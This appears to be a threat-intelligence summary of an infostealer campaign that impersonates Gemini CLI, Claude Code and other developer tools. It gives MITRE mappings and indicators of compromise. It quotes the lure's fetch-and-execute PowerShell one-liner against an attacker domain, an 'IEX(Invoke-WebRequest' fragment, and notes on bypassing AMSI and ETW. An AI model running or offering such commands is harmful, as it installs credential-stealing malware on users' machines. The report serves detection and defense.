EclecticIQ reports a financially motivated infostealer campaign that impersonates Gemini CLI, Claude Code, Node.js, Chocolatey, and other developer tools to trick users into running a hidden PowerShell installer. The malware steals credentials, OAuth tokens, session cookies, files, and system data from Windows endpoints, then exfiltrates them to command-and-control servers and can also execute operator-supplied follow-on payloads. #GeminiCLI #ClaudeCode #Nodejs #Chocolatey #MIRhosting #RedLine #LummaC2
Keypoints
- Threat actors used SEO poisoning to place fake AI-tool installation pages above legitimate results in search engines.
- The campaign specifically impersonated Gemini CLI and Claude Code, with additional lures for Node.js, Chocolatey, KeePassXC, and Monero.
- Victims were prompted to paste a PowerShell one-liner that downloaded and executed a fileless infostealer in memory.
- The malware disabled key Windows defenses by impairing ETW and AMSI before collecting data.
- Stolen data included browser credentials, OAuth tokens, CI/CD secrets, VPN details, session cookies, cloud storage content, and local files.
- The malware also supported arbitrary remote code execution, enabling hands-on-keyboard follow-on intrusion.
- The broader infrastructure cluster used more than 30 domains and bulletproof hosting, indicating an ongoing coordinated campaign.
MITRE Techniques
- [T1189 ] Drive-by Compromise â Victims were led to attacker-controlled installation pages through poisoned search results (âThe infection chain begins with a Google search⌠Threat actors use SEO poisoning to surface a fake domain at the top of search resultsâ).
- [T1608.006 ] Stage Capabilities: SEO Poisoning â Malicious domains were promoted above legitimate vendor pages (âThreat actors use SEO poisoning to surface a fake domain at the top of search resultsâ).
- [T1059.001 ] Command and Scripting Interpreter: PowerShell â The payloads were executed entirely in memory with PowerShell (âexecutes entirely in memory through PowerShellâ).
- [T1204.001 ] User Execution: Malicious Link â Users clicked through from search results to malicious sites (âThe victim clicks through, lands on a malicious pageâ).
- [T1204.002 ] User Execution: Malicious File â Users were induced to paste and run a one-line PowerShell command (âprompts the user to copy and paste a PowerShell command into their terminalâ).
- [T1027 ] Obfuscated Files or Information â The script was heavily obfuscated with junk branches (âapproximately 6,800 lines of junk code branchesâ).
- [T1140 ] Deobfuscate/Decode Files or Information â The C2 task list was decrypted at runtime (âThe implant decrypts it, splits it into recordsâ).
- [T1562.001 ] Impair Defenses: Disable or Modify Tools â AMSI was bypassed to prevent script scanning (âthe script⌠neutralize Microsoft Windows endpoint visibility by disabling⌠AMSIâ).
- [T1562.006 ] Impair Defenses: Indicator Blocking â ETW telemetry was suppressed by patching PowerShell logging (âpatches the PSEtwLogProvider.m_enabled flagâ).
- [T1497.001 ] Virtualization/Sandbox Evasion: System Checks â The malware checked for qemu-ga to avoid virtualized analysis (âincludes a qemu-ga string check as a basic anti-sandbox gateâ).
- [T1218 ] System Binary Proxy Execution â Shell.Application was used to launch hidden PowerShell (âinstantiates a Shell.Application COM object and calls ShellExecute with window style 0â).
- [T1057 ] Process Discovery â The Restart Manager API enumerated running processes (âLeverages the Restart Manager API⌠to enumerate running processesâ).
- [T1083 ] File and Directory Discovery â The stealer recursively enumerated user documents (âRecursive listing of .txt and .docx files across Desktop, Documents, and Downloadsâ).
- [T1555.003 ] Credentials from Web Browsers â Browser login data, cookies, autofill, and form history were extracted (âChromium-family browsers⌠Firefoxâ).
- [T1555.004 ] Credentials from Windows Credential Manager â Stored Windows credentials were harvested via CredEnumerate (âcall CredEnumerate against Windows Credential Managerâ).
- [T1539 ] Steal Web Session Cookie â Session cookies from collaboration apps were stolen (âSlack⌠Teams⌠Discord⌠Mattermostâ).
- [T1552.001 ] Unsecured Credentials: Credentials in Files â Credentials and keys were taken from config files (âOpenVPN config files with embedded key materialâ).
- [T1552.002 ] Unsecured Credentials: Credentials in Registry â Saved sessions and passwords were pulled from registry locations (âWinSCP stored passwords from the registryâ, âPuTTY saved sessionsâ).
- [T1005 ] Data from Local System â Local synced cloud directories and user files were collected (âEnumeration of locally synced directories for Proton Drive, iCloud Drive, Google Drive, MEGA, and OneDriveâ).
- [T1071.001 ] Application Layer Protocol: Web Protocols â C2 communications used HTTP endpoints (âcommunicates with events.msft23[.]com over three URL endpointsâ).
- [T1573 ] Encrypted Channel â Exfiltrated data and tasking were protected with encryption (âexfiltrated data in encrypted formâ, âRSA-encrypted task listâ).
- [T1105 ] Ingress Tool Transfer â Operator-supplied URLs were fetched and run on the victim host (ârun the operator-supplied URL via powershell.exe -command IEX(Invoke-WebRequest ⌠)â).
- [T1041 ] Exfiltration Over C2 Channel â Stolen data was sent to the /process endpoint (âuploads exfiltrated host dataâ).
Indicators of Compromise
- [Domains ] Typosquatted installer and lure sites â geminicli[.]co[.]com, gemini-setup[.]com
- [Domains ] Claude Code impersonation and C2 â claudecode[.]co[.]com, claude-setup[.]com
- [Domains ] C2 and infrastructure â events[.]msft23[.]com, events[.]ms709[.]com
- [Domains ] Additional impersonation and lure domains â nodejs-setup.co[.]com, community.chocolatey[.]net, keepassxc[.]us[.]org, get-monero[.]co[.]uk, api[.]bio9438[.]com
- [IP address ] Bulletproof hosting node used for malicious infrastructure â 109.107.170[.]111
- [File names ] First-stage and payload script names â Install.ps1, powershell.exe -c âirm https://community.chocolatey.net/install.ps1|iexâ
- [SHA-256 hashes ] Sample hashes listed in the report â ff81cb9263fcde5870a0748fd6af2d30a4ba864415c15ca14827d0dd723eb60c, 9c87e8162b39fbb773c416006b16f8e34aca53372d1b2d4a584df0ffc69ad333, and 28 more hashes